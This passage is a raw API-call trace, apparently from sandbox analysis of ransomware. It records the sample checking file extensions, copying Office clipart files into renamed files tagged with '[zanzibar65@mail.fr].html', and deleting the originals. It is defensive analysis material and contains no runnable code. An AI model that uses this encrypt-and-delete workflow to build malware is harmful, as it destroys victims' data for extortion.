lstrlenW (lpString=".xlsx") returned 5 [0270.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.697] lstrlenW (lpString=".ppt") returned 4 [0270.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.698] lstrlenW (lpString=".zip") returned 4 [0270.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.698] lstrlenW (lpString=".rar") returned 4 [0270.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString=".bz2") returned 4 [0270.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString=".7z") returned 3 [0270.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.698] lstrlenW (lpString=".dbf") returned 4 [0270.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.698] lstrlenW (lpString=".1cd") returned 4 [0270.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.698] lstrlenW (lpString=".jpg") returned 4 [0270.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.698] lstrlenW (lpString=".doc") returned 4 [0270.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString=".docx") returned 5 [0270.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.698] lstrlenW (lpString=".pdf") returned 4 [0270.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString=".xls") returned 4 [0270.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.698] lstrlenW (lpString=".xlsx") returned 5 [0270.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.698] lstrlenW (lpString=".ppt") returned 4 [0270.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.698] lstrlenW (lpString=".zip") returned 4 [0270.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.699] lstrlenW (lpString=".rar") returned 4 [0270.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString=".bz2") returned 4 [0270.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString=".7z") returned 3 [0270.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.699] lstrlenW (lpString=".dbf") returned 4 [0270.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.699] lstrlenW (lpString=".1cd") returned 4 [0270.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0270.699] lstrlenW (lpString=".jpg") returned 4 [0270.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.699] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0270.699] lstrlenW (lpString="DD01172_.WMF") returned 12 [0270.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.700] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=2232) returned 1 [0270.700] CloseHandle (hObject=0x370) returned 1 [0270.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0270.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.700] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.700] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.700] GetLastError () returned 0x0 [0270.700] ReadFile (in: hFile=0x370, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x8b8, lpOverlapped=0x0) returned 1 [0270.702] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0270.703] ReadFile (in: hFile=0x370, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0270.703] WriteFile (in: hFile=0x37c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.703] SetEndOfFile (hFile=0x37c) returned 1 [0270.703] CloseHandle (hObject=0x37c) returned 1 [0270.703] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0270.703] SetEndOfFile (hFile=0x370) returned 1 [0270.705] CloseHandle (hObject=0x370) returned 1 [0270.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.706] lstrlenW (lpString=".doc") returned 4 [0270.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString=".docx") returned 5 [0270.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.706] lstrlenW (lpString=".pdf") returned 4 [0270.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString=".xls") returned 4 [0270.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.706] lstrlenW (lpString=".xlsx") returned 5 [0270.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.706] lstrlenW (lpString=".ppt") returned 4 [0270.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.706] lstrlenW (lpString=".zip") returned 4 [0270.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.706] lstrlenW (lpString=".rar") returned 4 [0270.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString=".bz2") returned 4 [0270.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString=".7z") returned 3 [0270.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.707] lstrlenW (lpString=".dbf") returned 4 [0270.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.707] lstrlenW (lpString=".1cd") returned 4 [0270.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.707] lstrlenW (lpString=".jpg") returned 4 [0270.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.707] lstrlenW (lpString=".doc") returned 4 [0270.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.984] lstrlenW (lpString=".docx") returned 5 [0270.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.984] lstrlenW (lpString=".pdf") returned 4 [0270.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.984] lstrlenW (lpString=".xls") returned 4 [0270.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.984] lstrlenW (lpString=".xlsx") returned 5 [0270.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.984] lstrlenW (lpString=".ppt") returned 4 [0270.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.984] lstrlenW (lpString=".zip") returned 4 [0270.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.984] lstrlenW (lpString=".rar") returned 4 [0270.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.984] lstrlenW (lpString=".bz2") returned 4 [0270.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.984] lstrlenW (lpString=".7z") returned 3 [0270.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.984] lstrlenW (lpString=".dbf") returned 4 [0270.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.984] lstrlenW (lpString=".1cd") returned 4 [0270.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0270.984] lstrlenW (lpString=".jpg") returned 4 [0270.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.985] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0270.985] lstrlenW (lpString="DD01182_.WMF") returned 12 [0270.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.154] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=2996) returned 1 [0271.154] CloseHandle (hObject=0x2f8) returned 1 [0271.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0271.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.155] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.155] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.155] GetLastError () returned 0x0 [0271.155] ReadFile (in: hFile=0x2f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0xbb4, lpOverlapped=0x0) returned 1 [0271.163] WriteFile (in: hFile=0x370, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0271.164] ReadFile (in: hFile=0x2f8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0271.164] WriteFile (in: hFile=0x370, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.164] SetEndOfFile (hFile=0x370) returned 1 [0271.166] CloseHandle (hObject=0x370) returned 1 [0271.166] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.166] SetEndOfFile (hFile=0x2f8) returned 1 [0271.280] CloseHandle (hObject=0x2f8) returned 1 [0271.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0271.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.441] lstrlenW (lpString=".doc") returned 4 [0271.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.441] lstrlenW (lpString=".docx") returned 5 [0271.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.441] lstrlenW (lpString=".pdf") returned 4 [0271.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.442] lstrlenW (lpString=".xls") returned 4 [0271.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.442] lstrlenW (lpString=".xlsx") returned 5 [0271.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.442] lstrlenW (lpString=".ppt") returned 4 [0271.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.442] lstrlenW (lpString=".zip") returned 4 [0271.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.442] lstrlenW (lpString=".rar") returned 4 [0271.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.442] lstrlenW (lpString=".bz2") returned 4 [0271.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.442] lstrlenW (lpString=".7z") returned 3 [0271.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.442] lstrlenW (lpString=".dbf") returned 4 [0271.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.442] lstrlenW (lpString=".1cd") returned 4 [0271.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.442] lstrlenW (lpString=".jpg") returned 4 [0271.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.442] lstrlenW (lpString=".doc") returned 4 [0271.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.443] lstrlenW (lpString=".docx") returned 5 [0271.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.443] lstrlenW (lpString=".pdf") returned 4 [0271.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.443] lstrlenW (lpString=".xls") returned 4 [0271.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.443] lstrlenW (lpString=".xlsx") returned 5 [0271.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.443] lstrlenW (lpString=".ppt") returned 4 [0271.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.443] lstrlenW (lpString=".zip") returned 4 [0271.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.443] lstrlenW (lpString=".rar") returned 4 [0271.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.443] lstrlenW (lpString=".bz2") returned 4 [0271.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.443] lstrlenW (lpString=".7z") returned 3 [0271.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.443] lstrlenW (lpString=".dbf") returned 4 [0271.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.443] lstrlenW (lpString=".1cd") returned 4 [0271.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0271.443] lstrlenW (lpString=".jpg") returned 4 [0271.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.443] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.444] lstrlenW (lpString="DD01586_.WMF") returned 12 [0271.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.569] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=2324) returned 1 [0271.569] CloseHandle (hObject=0x37c) returned 1 [0271.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0271.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.664] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.664] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0271.665] GetLastError () returned 0x0 [0271.665] ReadFile (in: hFile=0x37c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x914, lpOverlapped=0x0) returned 1 [0271.668] WriteFile (in: hFile=0x354, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x920, lpOverlapped=0x0) returned 1 [0271.669] ReadFile (in: hFile=0x37c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0271.669] WriteFile (in: hFile=0x354, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.669] SetEndOfFile (hFile=0x354) returned 1 [0271.669] CloseHandle (hObject=0x354) returned 1 [0271.669] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.669] SetEndOfFile (hFile=0x37c) returned 1 [0271.675] CloseHandle (hObject=0x37c) returned 1 [0271.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0271.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.676] lstrlenW (lpString=".doc") returned 4 [0271.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.676] lstrlenW (lpString=".docx") returned 5 [0271.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.676] lstrlenW (lpString=".pdf") returned 4 [0271.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.676] lstrlenW (lpString=".xls") returned 4 [0271.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.676] lstrlenW (lpString=".xlsx") returned 5 [0271.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.676] lstrlenW (lpString=".ppt") returned 4 [0271.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.677] lstrlenW (lpString=".zip") returned 4 [0271.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.677] lstrlenW (lpString=".rar") returned 4 [0271.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.677] lstrlenW (lpString=".bz2") returned 4 [0271.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.677] 